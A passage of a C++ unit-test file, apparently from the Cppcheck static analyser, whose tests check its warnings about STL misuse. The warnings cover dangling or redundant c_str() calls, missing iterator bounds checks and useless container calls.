ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return 